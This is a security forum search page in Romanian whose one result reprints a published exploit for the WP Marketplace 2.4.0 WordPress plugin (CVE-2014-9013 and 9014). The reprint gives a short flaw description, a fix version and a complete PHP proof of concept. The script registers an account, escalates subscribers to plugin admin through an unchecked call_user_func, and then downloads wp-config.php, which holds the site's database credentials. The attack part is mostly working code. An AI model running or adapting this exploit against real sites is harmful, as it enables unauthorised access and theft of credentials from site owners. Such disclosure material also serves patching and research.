Jump to content

Search the Community

Showing results for tags '$content'.

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Informatii generale
    • Anunturi importante
    • Bine ai venit
    • Proiecte RST
  • Sectiunea tehnica
    • Exploituri
    • Challenges (CTF)
    • Bug Bounty
    • Programare
    • Securitate web
    • Reverse engineering & exploit development
    • Mobile security
    • Sisteme de operare si discutii hardware
    • Electronica
    • Wireless Pentesting
    • Black SEO & monetizare
  • Tutoriale
    • Tutoriale in romana
    • Tutoriale in engleza
    • Tutoriale video
  • Programe
    • Programe hacking
    • Programe securitate
    • Programe utile
    • Free stuff
  • Discutii generale
    • RST Market
    • Off-topic
    • Discutii incepatori
    • Stiri securitate
    • Linkuri
    • Cosul de gunoi
  • Club Test's Topics
  • Clubul saraciei absolute's Topics
  • Chernobyl Hackers's Topics
  • Programming & Fun's Jokes / Funny pictures (programming related!)
  • Programming & Fun's Programming
  • Programming & Fun's Programming challenges
  • Bani pă net's Topics
  • Cumparaturi online's Topics
  • Web Development's Forum
  • 3D Print's Topics

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


Website URL


Yahoo


Jabber


Skype


Location


Interests


Occupation


Interests


Biography


Location

Found 1 result

  1. # Exploit Title: WP Marketplace 2.4.0 Arbitrary File Download # Date: 26-10-2014 # Software Link: https://wordpress.org/plugins/wpmarketplace/ # Exploit Author: Kacper Szurek # Contact: http://twitter.com/KacperSzurek # Website: http://security.szurek.pl/ # Category: webapps # CVE: CVE-2014-9013 and CVE-2014-9014 1. Description Anyone can run user defined function because of call_user_func. File: wpmarketplace\libs\cart.php function ajaxinit(){ if(isset($_POST['action']) && $_POST['action']=='wpmp_pp_ajax_call'){ if(function_exists($_POST['execute'])) call_user_func($_POST['execute'],$_POST); else echo __("function not defined!","wpmarketplace"); die(); } } http://security.szurek.pl/wp-marketplace-240-arbitrary-file-download.html 2. Proof of Concept $file = '../../../wp-config.php'; $url = 'http://wordpress-url/'; $user = 'userlogin'; $email = 'useremail@email.email'; $pass = 'password'; $cookie = "/cookie.txt"; $ckfile = dirname(__FILE__) . $cookie; $cookie = fopen($ckfile, 'w') or die("Cannot create cookie file"); // Register $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url.'?checkout_register=register'); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, array( 'register_form' => 'register', 'reg[user_login]' => $user, 'reg[user_email]' => $email, 'reg[user_pass]' => $pass )); $content = curl_exec($ch); if (!preg_match("/success/i", $content)) { die("Cannot register"); } // Log in curl_setopt($ch, CURLOPT_URL, $url.'wp-login.php'); curl_setopt($ch, CURLOPT_POSTFIELDS, array( 'log' => $user, 'pwd' => $pass, 'wp-submit' => 'Log%20In' )); $content = curl_exec($ch); if (!preg_match('/adminmenu/i', $content)) { die("Cannot login"); } // Add subscriber as plugin admin curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POSTFIELDS, array( 'action' => 'wpmp_pp_ajax_call', 'execute' => 'wpmp_save_settings', '_wpmp_settings[user_role][]' => 'subscriber' )); $content = curl_exec($ch); if (!preg_match('/Settings Saved Successfully/i', $content)) { die("Cannot set role"); } // Request noonce curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POSTFIELDS, array( 'action' => 'wpmp_pp_ajax_call', 'execute' => 'wpmp_front_add_product' )); $content = curl_exec($ch); preg_match('/name="__product_wpmp" value="([^"]+)"/i', $content, $nonce); if (strlen($nonce[1]) < 2) { die("Cannot get nonce"); } // Set file to download curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POSTFIELDS, array( '__product_wpmp' => $nonce[1], 'post_type' => 'wpmarketplace', 'id' => '123456', 'wpmp_list[base_price]' => '0', 'wpmp_list[file][]' => $file )); $content = curl_exec($ch); header("Location: ".$url."?wpmpfile=123456"); 3. Solution: Update to version 2.4.1 https://downloads.wordpress.org/plugin/wpmarketplace.2.4.1.zip Source
×
×
  • Create New...